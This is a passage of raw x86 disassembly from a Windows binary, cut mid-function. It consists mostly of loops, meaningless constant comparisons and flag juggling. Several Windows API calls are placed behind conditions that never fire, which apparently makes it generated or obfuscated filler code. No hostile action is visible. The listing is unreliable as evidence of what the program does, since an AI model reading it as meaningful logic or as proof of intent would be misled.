lea ecx, [ebp - 0x20b4]
call fcn.00433e23
mov dword [ebp - 0x30ac], 0xfffffff9
push 1
lea ecx, [ebp - 0x2108]
call fcn.00433d51
mov dword [ebp - 0x250], 0x3838a1f9
mov dword [ebp - 0x594], 0x8bd85027
mov dword [ebp - 0xbe0], 0xacb314b8
mov dword [ebp - 0x1744], 0xfffffff6
mov dword [ebp - 0x1f90], 0x35cf
mov dword [ebp - 0xe34], 0xffffffff
mov dword [ebp - 0x58], 0
jmp 0x477a20
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 1
jge 0x477a3c
push dword [ebp - 0x58]
lea ecx, [ebp - 0x2108]
call fcn.00433e3f
mov dword [eax], 0x6192
jmp 0x477a19
mov dword [ebp - 0x58], 0
jmp 0x477a4c
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 2
jge 0x477a62
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0xcdc], 0xec752f67
jmp 0x477a45
mov dword [ebp - 0x58], 0
jmp 0x477a72
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 1
jge 0x477a88
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x2480], 0xd68e
jmp 0x477a6b
mov dword [ebp - 0x250], 0
jmp 0x477aa1
mov eax, dword [ebp - 0x250]
dec eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0
jl 0x477d41
mov dword [ebp - 0x2cac], 0x10fecafe
mov dword [ebp - 0x2ca8], 0x10fecafe
mov dword [ebp - 0x2ca4], 0x10fecafe
mov dword [ebp - 0x2ca0], 0x10fecafe
mov dword [ebp - 0x30b4], 0xca8fecf7
mov dword [ebp - 0xa08], 0xf93b
mov dword [ebp - 0x7fc], 0
jmp 0x477b03
mov eax, dword [ebp - 0x7fc]
inc eax
mov dword [ebp - 0x7fc], eax
cmp dword [ebp - 0x7fc], 1
jge 0x477b1f
mov eax, dword [ebp - 0x7fc]
mov dword [ebp + eax*4 - 0x30bc], 0x4dc41fd9
jmp 0x477af6
push 0xfffffffffffffffc
pop eax
test eax, eax
je 0x477c33
mov eax, dword [ebp - 0xa08]
inc eax
mov dword [ebp - 0xa08], eax
cmp dword [ebp - 0xa08], 0x1fc6
jne 0x477b4f
mov dword [ebp - 0x173c], 1
jmp 0x477b56
and dword [ebp - 0x173c], 0
mov eax, dword [ebp - 0x173c]
mov dword [ebp - 0x594], eax
push dword [ebp - 0x250]
lea ecx, [ebp - 0x2108]
call fcn.00433e3f
cmp dword [eax], 0
je 0x477bcd
push dword [ebp - 0x250]
lea ecx, [ebp - 0x2108]
call fcn.00433e3f
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xcdc], 0x522abf7c
jle 0x477ba8
mov dword [ebp - 0x2470], 1
jmp 0x477baf
and dword [ebp - 0x2470], 0
mov eax, 0xfe9f
test eax, eax
je 0x477bbf
cmp dword [ebp - 0xbe0], 0
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x2cac], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xcdc], 0xffffffff
jl 0x477be9
mov dword [ebp - 0xe0c], 1
jmp 0x477bf0
and dword [ebp - 0xe0c], 0
cmp dword [ebp - 0xe0c], 1
je 0x477c05
mov dword [ebp - 0x1e2c], 1
jmp 0x477c0c
and dword [ebp - 0x1e2c], 0
push dword [ebp - 0x250]
lea ecx, [ebp - 0x2108]
call fcn.00433e3f
mov ecx, dword [ebp - 0x1e2c]
cmp ecx, dword [eax]
jl 0x477c33
mov dword [ebp - 0xe14], 1
jmp 0x477c3a
and dword [ebp - 0xe14], 0
mov eax, dword [ebp - 0xe14]
mov dword [ebp - 0x1744], eax
cmp dword [ebp - 0x1744], 0
je 0x477c6d
push 0
lea ecx, [ebp - 0x2108]
call fcn.00433e3f
cmp dword [eax], 0
je 0x477c6d
mov dword [ebp - 0xe1c], 1
jmp 0x477c74
and dword [ebp - 0xe1c], 0
mov eax, 0x822b1658
sub eax, dword [ebp - 0xe1c]
je 0x477d1d
push 2
lea ecx, [ebp - 0x2684]
call fcn.00433d51
mov dword [ebp - 0x664], 0
jmp 0x477cab
mov eax, dword [ebp - 0x664]
inc eax
mov dword [ebp - 0x664], eax
cmp dword [ebp - 0x664], 2
jge 0x477cca
push dword [ebp - 0x664]
lea ecx, [ebp - 0x2684]
call fcn.00433e3f
and dword [eax], 0
jmp 0x477c9e
push 1
lea ecx, [ebp - 0x2684]
call fcn.00433e3f
mov dword [ebp - 0x1bdc], eax
mov eax, dword [ebp - 0x1bdc]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1bdc]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x2684]
call fcn.00433e3f
cmp dword [eax], 0
je 0x477d10
lea ecx, [ebp - 0x2684]
call fcn.00433e23
jmp 0x477a94
lea ecx, [ebp - 0x2684]
call fcn.00433e23
jmp 0x477d3c
mov byte [ebp - 0x31b], 0
movzx eax, byte [ebp - 0x31b]
test eax, eax
je 0x477d3c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetMenu]
jmp 0x477a94
push 0
lea ecx, [ebp - 0x2108]
call fcn.00433e3f
cmp dword [eax], 0
jne 0x477d5f
mov dword [ebp - 0xe3c], 1
jmp 0x477d66
and dword [ebp - 0xe3c], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xcdc], 0
jne 0x477dd1
mov eax, 0xe1984bbc
test eax, eax
je 0x477db3
mov eax, dword [ebp - 0x1f90]
mov dword [ebp - 0x30c4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcdc]
mov dword [ebp - 0x30cc], eax
cmp dword [ebp - 0x594], 0
je 0x477db3
mov dword [ebp - 0xe24], 1
jmp 0x477dba
and dword [ebp - 0xe24], 0
mov eax, dword [ebp - 0xbe0]
add eax, dword [ebp - 0xe24]
jne 0x477dd1
and dword [ebp - 0x174c], 0
jmp 0x477ddb
mov dword [ebp - 0x174c], 1
mov eax, dword [ebp - 0xbe0]
cmp dword [ebp - 0x174c], eax
jge 0x477df5
mov dword [ebp - 0xe2c], 1
jmp 0x477dfc
and dword [ebp - 0xe2c], 0
mov eax, dword [ebp - 0xe2c]
mov dword [ebp - 0x250], eax
mov eax, dword [ebp - 0x594]
cmp dword [ebp - 0x250], eax
je 0x477e22
mov dword [ebp - 0x2478], 1
jmp 0x477e29
and dword [ebp - 0x2478], 0
mov eax, dword [ebp - 0xe34]
mov dword [ebp - 0x30d4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcdc]
mov dword [ebp - 0x30dc], eax
mov eax, dword [ebp - 0x594]
mov dword [ebp - 0x30e4], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2480], 0xffffffff
cmp dword [ebp - 0x1f90], 0xffffffff
jle 0x477e7a
mov dword [ebp - 0x1754], 1
jmp 0x477e81
and dword [ebp - 0x1754], 0
mov eax, dword [ebp - 0xe34]
cmp dword [ebp - 0x1754], eax
jg 0x477e9b
mov dword [ebp - 0x1be4], 1
jmp 0x477ea2
and dword [ebp - 0x1be4], 0
mov eax, dword [ebp - 0xe3c]
cmp eax, dword [ebp - 0x1be4]
je 0x477ebc
mov dword [ebp - 0xe44], 1
jmp 0x477ec3
and dword [ebp - 0xe44], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcdc]
cmp dword [ebp - 0xe44], eax
jge 0x477eed
cmp dword [ebp - 0x594], 0
je 0x477eed
mov dword [ebp - 0x175c], 1
jmp 0x477ef4
and dword [ebp - 0x175c], 0
mov eax, dword [ebp - 0x175c]
neg eax
je 0x477f18
mov byte [ebp - 0x417], 0
movzx eax, byte [ebp - 0x417]
test eax, eax
je 0x477f16
call dword [sym.imp.USER32.dll_EndMenu]
jmp 0x477f34
mov byte [ebp - 0x321], 0
movzx eax, byte [ebp - 0x321]
test eax, eax
je 0x477f34
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
lea ecx, [ebp - 0x2108]
call fcn.00433e23
mov dword [ebp - 0x30ec], 0xb03e3869
push 2
lea ecx, [ebp - 0x2694]
call fcn.00433d51
mov dword [ebp - 0x30f4], 0xd8987f2f
mov dword [ebp - 0x174], 0
jmp 0x477f79
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 2
jge 0x477f98
push dword [ebp - 0x174]
lea ecx, [ebp - 0x2694]
call fcn.00433e3f
or dword [eax], 0xffffffff
jmp 0x477f6c
mov dword [ebp - 0x174], 0
jmp 0x477fb1
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 3
jge 0x477fcd
mov eax, dword [ebp - 0x174]
mov dword [ebp + eax*4 - 0x38a4], 0xfffffffb
jmp 0x477fa4
push 1
lea ecx, [ebp - 0x2694]
call fcn.00433e3f
and dword [eax], 0
jmp 0x478003
push 1
lea ecx, [ebp - 0x2694]
call fcn.00433e3f
mov dword [ebp - 0xe4c], eax
mov eax, dword [ebp - 0xe4c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xe4c]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x2694]
call fcn.00433e3f
cmp dword [eax], 0x1d
jge 0x478028
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x38a4], 0x2afe01bd
jmp 0x477fdf
lea ecx, [ebp - 0x2694]
call fcn.00433e23
mov dword [ebp - 0x4e0], 0x2c41ac3d
mov dword [ebp - 0x8cc], 0
jmp 0x478056
mov eax, dword [ebp - 0x8cc]
inc eax
mov dword [ebp - 0x8cc], eax
cmp dword [ebp - 0x8cc], 1
jge 0x478072
mov eax, dword [ebp - 0x8cc]
mov dword [ebp + eax*4 - 0x2bc], 9
jmp 0x478049
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2bc], 0
jmp 0x4780a0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2bc], 0xf
jne 0x478746
mov dword [ebp - 0x934], 0xa1ab7048
mov dword [ebp - 0x2488], 0xffffffff
mov dword [ebp - 0x66c], 0
jmp 0x4780e1
mov dword [ebp - 0x67c], 0
jmp 0x47875f
lea ecx, [ebp - 0x2ba0]
call fcn.00433e23
push 3
lea ecx, [ebp - 0x28ac]
call fcn.00433d51
mov dword [ebp - 0x258], 8
mov dword [ebp - 0xc20], 0x928d
push 4
lea ecx, [ebp - 0x2c60]
call fcn.00433d51
mov dword [ebp - 0x18c], 0
jmp 0x47a405
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 3
jge 0x47a427
push dword [ebp - 0x18c]
lea ecx, [ebp - 0x28ac]
call fcn.00433e3f
mov dword [eax], 2
jmp 0x47a3f8
mov dword [ebp - 0x18c], 0
jmp 0x47a440
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 4
jge 0x47a45f
push dword [ebp - 0x18c]
lea ecx, [ebp - 0x2c60]
call fcn.00433e3f
and dword [eax], 0
jmp 0x47a433
mov dword [ebp - 0x258], 0
jmp 0x47a478
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 2
jg 0x47a5ed
mov dword [ebp - 0xa38], 0xba7b7e80
mov dword [ebp - 0xa40], 0xfffffffb
mov eax, dword [ebp - 0x258]
mov dword [ebp - 0x3234], eax
mov eax, 0xfbbd0a70
test eax, eax
jne 0x47a4f9
mov eax, dword [ebp - 0x258]
cmp dword [ebp - 0x258], eax
mov eax, dword [ebp - 0xa38]
mov dword [ebp - 0xa38], eax
mov eax, dword [ebp - 0xa40]
cmp dword [ebp - 0xa38], eax
jne 0x47a4e0
mov dword [ebp - 0x184c], 1
jmp 0x47a4e7
and dword [ebp - 0x184c], 0
mov eax, dword [ebp - 0x184c]
inc eax
jne 0x47a4f9
and dword [ebp - 0x102c], 0
jmp 0x47a503
mov dword [ebp - 0x102c], 1
cmp dword [ebp - 0x102c], 1
jl 0x47a518
mov dword [ebp - 0x1034], 1
jmp 0x47a51f
and dword [ebp - 0x1034], 0
push dword [ebp - 0x258]
lea ecx, [ebp - 0x28ac]
call fcn.00433e3f
mov dword [ebp - 0x1fa0], eax
push dword [ebp - 0x258]
lea ecx, [ebp - 0x28ac]
call fcn.00433e3f
mov ecx, dword [ebp - 0x1fa0]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1fa0]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x1034]
jne 0x47a56d
mov dword [ebp - 0x2580], 1
jmp 0x47a574
and dword [ebp - 0x2580], 0
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x323c], eax
cmp dword [ebp - 0xc20], 0x61fc42ff
jle 0x47a59e
cmp dword [ebp - 0xc20], 0
jne 0x47a59e
and dword [ebp - 0x1854], 0
jmp 0x47a5a8
mov dword [ebp - 0x1854], 1
push 1
lea ecx, [ebp - 0x2c60]
call fcn.00433e3f
mov ecx, dword [ebp - 0x1854]
mov dword [eax], ecx
cmp dword [ebp - 0xa40], 0xd02268f6
jb 0x47a5d5
mov dword [ebp - 0x103c], 1
jmp 0x47a5dc
and dword [ebp - 0x103c], 0
mov eax, dword [ebp - 0x103c]
mov dword [ebp - 0xa40], eax
jmp 0x47a46b
lea ecx, [ebp - 0x2c60]
call fcn.00433e23
lea ecx, [ebp - 0x28ac]
call fcn.00433e23
mov dword [ebp - 0x1c30], 0x7af2
mov dword [ebp - 0x100], 0x318d5816
push 2
lea ecx, [ebp - 0x5b0]
call fcn.00433d51
mov dword [ebp - 0x120], 8
mov dword [ebp - 0x2c4], 0x4abc2489
mov dword [ebp - 0xa50], 0xffffffff
mov dword [ebp - 0x2598], 0xc3a871d1
mov dword [ebp - 0x93c], 0
jmp 0x47a665
mov eax, dword [ebp - 0x93c]
inc eax
mov dword [ebp - 0x93c], eax
cmp dword [ebp - 0x93c], 2
jge 0x47a687
push dword [ebp - 0x93c]
lea ecx, [ebp - 0x5b0]
call fcn.00433e3f
mov dword [eax], 0xfffffffe
jmp 0x47a658
cmp dword [ebp - 0x100], 0
jne 0x47a749
push 1
lea ecx, [ebp - 0x5b0]
call fcn.00433e3f
push 1
lea ecx, [ebp - 0x5b0]
call fcn.00433e3f
push 1
lea ecx, [ebp - 0x5b0]
call fcn.00433e3f
mov esi, eax
push 0
lea ecx, [ebp - 0x5b0]
call fcn.00433e3f
mov ecx, dword [esi]
cmp ecx, dword [eax]
jle 0x47a6dc
mov dword [ebp - 0x1c64], 1
jmp 0x47a6e3
and dword [ebp - 0x1c64], 0
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x2588], eax
mov eax, dword [ebp - 0x1c64]
mov dword [ebp - 0x2590], eax
mov eax, dword [ebp - 0x120]
dec eax
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x2588]
cmp eax, dword [ebp - 0x2590]
je 0x47a722
mov dword [ebp - 0x1044], 1
jmp 0x47a729
and dword [ebp - 0x1044], 0
push 0
lea ecx, [ebp - 0x5b0]
call fcn.00433e3f
mov ecx, dword [ebp - 0x1044]
cmp ecx, dword [eax]
je 0x47a749
and dword [ebp - 0xb60], 0
jmp 0x47a753
mov dword [ebp - 0xb60], 1
push 0
lea ecx, [ebp - 0x5b0]
call fcn.00433e3f
mov ecx, dword [ebp - 0xb60]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb60]
neg eax
cmp eax, dword [ebp - 0x100]
jle 0x47a784
mov dword [ebp - 0x185c], 1
jmp 0x47a78b
and dword [ebp - 0x185c], 0
mov eax, dword [ebp - 0x185c]
mov dword [ebp - 0x2c4], eax
mov eax, dword [ebp - 0x100]
add eax, dword [ebp - 0x2c4]
cmp eax, 0xfffffffd
jge 0x47ab8f
mov dword [ebp - 0xa48], 0x642e5f0e
mov dword [ebp - 0xbf0], 0x86a67606
mov dword [ebp - 0x340], 1
push 2
lea ecx, [ebp - 0x28c4]
call fcn.00433d51
mov dword [ebp - 0x27e4], 0x6ddf
mov dword [ebp - 0x27e0], 0x6ddf
mov dword [ebp - 0x27dc], 0x6ddf
mov dword [ebp - 0x27d8], 0x6ddf
mov dword [ebp - 0x6bc], 0
jmp 0x47a818
mov eax, dword [ebp - 0x6bc]
inc eax
mov dword [ebp - 0x6bc], eax
cmp dword [ebp - 0x6bc], 2
jge 0x47a83a
push dword [ebp - 0x6bc]
lea ecx, [ebp - 0x28c4]
call fcn.00433e3f
mov dword [eax], 0xfffffff9
jmp 0x47a80b
push 1
lea ecx, [ebp - 0x5b0]
call fcn.00433e3f
cmp dword [eax], 0
jne 0x47a945
cmp dword [ebp - 0x340], 0
jne 0x47a860
cmp dword [ebp - 0x2c4], 0
push 1
lea ecx, [ebp - 0x5b0]
call fcn.00433e3f
mov ecx, dword [ebp - 0x340]
add ecx, dword [eax]
jne 0x47a889
cmp dword [ebp - 0x100], 0
jne 0x47a889
and dword [ebp - 0x104c], 0
jmp 0x47a893
mov dword [ebp - 0x104c], 1
mov eax, dword [ebp - 0x340]
cmp dword [ebp - 0x104c], eax
jge 0x47a8ad
mov dword [ebp - 0x1e74], 1
jmp 0x47a8b4
and dword [ebp - 0x1e74], 0
push 1
lea ecx, [ebp - 0x5b0]
call fcn.00433e3f
mov ecx, dword [ebp - 0x1e74]
cmp ecx, dword [eax]
jge 0x47a8d7
mov dword [ebp - 0x1054], 1
jmp 0x47a8de
and dword [ebp - 0x1054], 0
mov eax, dword [ebp - 0x1054]
sub eax, dword [ebp - 0x340]
cmp eax, 0xcf2842c5
jb 0x47a8fd
mov dword [ebp - 0x1864], 1
jmp 0x47a904
and dword [ebp - 0x1864], 0
mov eax, dword [ebp - 0x120]
cmp dword [ebp - 0x1864], eax
jl 0x47a91e
mov dword [ebp - 0x105c], 1
jmp 0x47a925
and dword [ebp - 0x105c], 0
push 1
lea ecx, [ebp - 0x5b0]
call fcn.00433e3f
mov ecx, dword [ebp - 0x105c]
add ecx, dword [eax]
jne 0x47a945
and dword [ebp - 0x1c6c], 0
jmp 0x47a94f
mov dword [ebp - 0x1c6c], 1
cmp dword [ebp - 0x1c6c], 0xfffffffb
jl 0x47a964
mov dword [ebp - 0x1064], 1
jmp 0x47a96b
and dword [ebp - 0x1064], 0
cmp dword [ebp - 0x1064], 0xffffffff
je 0x47a980
mov dword [ebp - 0x186c], 1
jmp 0x47a987
and dword [ebp - 0x186c], 0
mov eax, dword [ebp - 0x340]
cmp dword [ebp - 0x186c], eax
je 0x47a9a1
mov dword [ebp - 0x106c], 1
jmp 0x47a9a8
and dword [ebp - 0x106c], 0
mov eax, dword [ebp - 0x106c]
mov dword [ebp - 0x340], eax
mov esi, dword [ebp - 0x340]
sub esi, dword [ebp - 0x100]
push 0
lea ecx, [ebp - 0x28c4]
call fcn.00433e3f
cmp esi, dword [eax]
jge 0x47a9dd
mov dword [ebp - 0x1f40], 1
jmp 0x47a9e4
and dword [ebp - 0x1f40], 0
mov eax, dword [ebp - 0xbf0]
dec eax
mov dword [ebp - 0xbf0], eax
mov eax, dword [ebp - 0xa48]
mov dword [ebp - 0xa48], eax
mov eax, dword [ebp - 0xa48]
mov ecx, dword [ebp - 0xbf0]
add eax, dword [ebp - 0x1f40]
add ecx, eax
je 0x47aa2f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x27e4], 0
je 0x47aa2f
mov dword [ebp - 0x1074], 1
jmp 0x47aa36
and dword [ebp - 0x1074], 0
push 0
lea ecx, [ebp - 0x5b0]
call fcn.00433e3f
mov esi, dword [ebp - 0x1074]
imul esi, dword [eax]
neg esi
imul esi, dword [ebp - 0xa50]
push 1
lea ecx, [ebp - 0x5b0]
call fcn.00433e3f
cmp esi, dword [eax]
jge 0x47aa72
mov dword [ebp - 0x1874], 1
jmp 0x47aa79
and dword [ebp - 0x1874], 0
mov eax, dword [ebp - 0xa50]
imul eax, dword [ebp - 0x1874]
test eax, eax
jne 0x47aa96
mov dword [ebp - 0x107c], 1
jmp 0x47aa9d
and dword [ebp - 0x107c], 0
mov eax, dword [ebp - 0x2598]
cmp dword [ebp - 0x107c], eax
jge 0x47aab2
cmp dword [ebp - 0x2c4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x27e4]
cmp dword [ebp - 0xa50], eax
jl 0x47aadf
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x27e4], 0
jne 0x47aadf
and dword [ebp - 0x1c74], 0
jmp 0x47aae9
mov dword [ebp - 0x1c74], 1
cmp dword [ebp - 0x1c74], 0xffffffff
jae 0x47aafe
mov dword [ebp - 0x1084], 1
jmp 0x47ab05
and dword [ebp - 0x1084], 0
push 0
lea ecx, [ebp - 0x28c4]
call fcn.00433e3f
mov ecx, dword [ebp - 0x1084]
imul ecx, dword [eax]
add ecx, 7
cmp ecx, 0xf37d
je 0x47ab32
mov dword [ebp - 0x187c], 1
jmp 0x47ab39
and dword [ebp - 0x187c], 0
cmp dword [ebp - 0x187c], 0xf1d
jle 0x47ab51
mov dword [ebp - 0x108c], 1
jmp 0x47ab58
and dword [ebp - 0x108c], 0
mov eax, dword [ebp - 0x108c]
mov dword [ebp - 0x100], eax
mov byte [ebp - 0x341], 0
movzx eax, byte [ebp - 0x341]
test eax, eax
je 0x47ab82
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
lea ecx, [ebp - 0x28c4]
call fcn.00433e23
jmp 0x47abbe
mov dword [ebp - 0x2c4], 0
jmp 0x47aba8
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 8
jge 0x47abbe
cmp dword [ebp - 0x120], 0
je 0x47abbc
jmp 0x47abbe
jmp 0x47ab9b
mov dword [ebp - 0x100], 0
jmp 0x47abd7
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0xa
jge 0x47ac1a
mov dword [ebp - 0x120], 0
jmp 0x47abf9
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 2
jge 0x47ac18
push dword [ebp - 0x120]
lea ecx, [ebp - 0x5b0]
call fcn.00433e3f
and dword [eax], 0
jmp 0x47abec
jmp 0x47abca
lea ecx, [ebp - 0x5b0]
call fcn.00433e23
push 3
lea ecx, [ebp - 0x2084]
call fcn.00433d51
mov dword [ebp - 0x108], 0x13dce9d
mov dword [ebp - 0x25a0], 0x10cbbbc2
mov dword [ebp - 0x82c], 0
jmp 0x47ac5f
mov eax, dword [ebp - 0x82c]
inc eax
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x82c], 3
jge 0x47ac7e
push dword [ebp - 0x82c]
lea ecx, [ebp - 0x2084]
call fcn.00433e3f
or dword [eax], 0xffffffff
jmp 0x47ac52
mov dword [ebp - 0x108], 2
jmp 0x47ac97
mov eax, dword [ebp - 0x108]
dec eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
jl 0x47ad58
mov dword [ebp - 0x6c4], 0xf40fc027
mov byte [ebp - 0x407], 0
movzx eax, byte [ebp - 0x407]
test eax, eax
je 0x47ace0
push 0
push 0x49b
push 0
push 0x2117
push 0x9a4
push 0
push 0x147e
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
mov dword [ebp - 0x6c4], 2
jmp 0x47acf9
mov eax, dword [ebp - 0x6c4]
dec eax
mov dword [ebp - 0x6c4], eax
cmp dword [ebp - 0x6c4], 0
jl 0x47ad53
mov dword [ebp - 0x8e4], 0x20bd2ab6
mov dword [ebp - 0x8e4], 2
jmp 0x47ad25
mov eax, dword [ebp - 0x8e4]
dec eax
mov dword [ebp - 0x8e4], eax
cmp dword [ebp - 0x8e4], 0
jl 0x47ad51
mov byte [ebp - 0x349], 0
movzx eax, byte [ebp - 0x349]
test eax, eax
je 0x47ad4f
push 0x2516
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
jmp 0x47ad18
jmp 0x47acec
jmp 0x47ac8a
mov eax, 0xb9c2
test eax, eax
je 0x47ae3a
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x3244], eax
push 1
lea ecx, [ebp - 0x2084]
call fcn.00433e3f
mov esi, eax
push 2
lea ecx, [ebp - 0x2084]
call fcn.00433e3f
mov ecx, dword [esi]
cmp ecx, dword [eax]
jg 0x47ad9f
mov dword [ebp - 0x1e7c], 1
jmp 0x47ada6
and dword [ebp - 0x1e7c], 0
mov eax, dword [ebp - 0x1e7c]
add eax, 0x8b39
je 0x47adc8
mov eax, 0xcca6
test eax, eax
je 0x47adc8
mov dword [ebp - 0x1094], 1
jmp 0x47adcf
and dword [ebp - 0x1094], 0
push 2
lea ecx, [ebp - 0x2084]
call fcn.00433e3f
mov ecx, dword [ebp - 0x1094]
sub ecx, dword [ebp - 0x108]
cmp dword [eax], ecx
jle 0x47adf8
mov dword [ebp - 0x1884], 1
jmp 0x47adff
and dword [ebp - 0x1884], 0
mov eax, dword [ebp - 0x108]
cmp dword [ebp - 0x1884], eax
jne 0x47ae19
mov dword [ebp - 0x109c], 1
jmp 0x47ae20
and dword [ebp - 0x109c], 0
mov eax, dword [ebp - 0x108]
cmp eax, dword [ebp - 0x109c]
jl 0x47ae3a
mov dword [ebp - 0x1c7c], 1
jmp 0x47ae41
and dword [ebp - 0x1c7c], 0
push 0
lea ecx, [ebp - 0x2084]
call fcn.00433e3f
mov ecx, dword [ebp - 0x1c7c]
add ecx, dword [eax]
neg ecx
cmp ecx, dword [ebp - 0x108]
jg 0x47ae6c
mov dword [ebp - 0x10a4], 1
jmp 0x47ae73
and dword [ebp - 0x10a4], 0
cmp dword [ebp - 0x10a4], 0x6f9a
jl 0x47ae8b
mov dword [ebp - 0x188c], 1
jmp 0x47ae92
and dword [ebp - 0x188c], 0
cmp dword [ebp - 0x188c], 0xfffffff8
ja 0x47aea7
mov dword [ebp - 0x10ac], 1
jmp 0x47aeae
and dword [ebp - 0x10ac], 0
mov eax, dword [ebp - 0x25a0]
add eax, dword [ebp - 0x10ac]
neg eax
mov dword [ebp - 0x2018], eax
push 2
lea ecx, [ebp - 0x2084]
call fcn.00433e3f
mov ecx, dword [ebp - 0x2018]
mov dword [eax], ecx
cmp dword [ebp - 0x2018], 0
je 0x47aef5
mov eax, 0xf2e07230
test eax, eax
je 0x47aef5
mov dword [ebp - 0x10b4], 1
jmp 0x47aefc
and dword [ebp - 0x10b4], 0
mov eax, dword [ebp - 0x10b4]
mov dword [ebp - 0x108], eax
lea ecx, [ebp - 0x2084]
call fcn.00433e23
mov dword [ebp - 0x2140], 0x5bb2c213
mov dword [ebp - 0x213c], 0x5bb2c213
mov dword [ebp - 0x2138], 0x5bb2c213
mov dword [ebp - 0x2134], 0x5bb2c213
push 2
lea ecx, [ebp - 0xcb0]
call fcn.00433d51
mov dword [ebp - 0x25b8], 0x3bed162c
mov dword [ebp - 0x6cc], 0
jmp 0x47af6b
mov eax, dword [ebp - 0x6cc]
inc eax
mov dword [ebp - 0x6cc], eax
cmp dword [ebp - 0x6cc], 2
jge 0x47af8d
push dword [ebp - 0x6cc]
lea ecx, [ebp - 0xcb0]
call fcn.00433e3f
mov dword [eax], 0xfffffff9
jmp 0x47af5e
push 0
lea ecx, [ebp - 0xcb0]
call fcn.00433e3f
mov dword [eax], 3
jmp 0x47afc6
push 0
lea ecx, [ebp - 0xcb0]
call fcn.00433e3f
mov dword [ebp - 0x1894], eax
mov eax, dword [ebp - 0x1894]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1894]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xcb0]
call fcn.00433e3f
cmp dword [eax], 0
jl 0x47b16d
mov dword [ebp - 0x25a8], 0x51ae9a07
mov byte [ebp - 0x413], 0
movzx eax, byte [ebp - 0x413]
test eax, eax
je 0x47b000
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, 0xd6c3
test eax, eax
je 0x47b155
push 0
lea ecx, [ebp - 0xcb0]
call fcn.00433e3f
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x2140]
sub eax, 0x17018ad8
jne 0x47b03a
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x2140], 0
je 0x47b04f
mov eax, 0xf34b
test eax, eax
je 0x47b04f
mov dword [ebp - 0x10bc], 1
jmp 0x47b056
and dword [ebp - 0x10bc], 0
cmp dword [ebp - 0x10bc], 0
je 0x47b06b
mov dword [ebp - 0x1c84], 1
jmp 0x47b072
and dword [ebp - 0x1c84], 0
cmp dword [ebp - 0x1c84], 1
jne 0x47b087
and dword [ebp - 0x1e84], 0
mov eax, dword [ebp - 0x1e84]
mov dword [ebp - 0x25b8], eax
jmp 0x47afa2
lea ecx, [ebp - 0xcb0]
call fcn.00433e23
push 3
lea ecx, [ebp - 0x28dc]
call fcn.00433d51
mov dword [ebp - 0x348], 0x8e469ad5
mov dword [ebp - 0x43c], 0xbea12209
push 2
lea ecx, [ebp - 0x20cc]
call fcn.00433d51
mov dword [ebp - 0xb68], 9
mov dword [ebp - 0x25d8], 0xa0becc33
mov dword [ebp - 0x194], 0
jmp 0x47b1d3
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
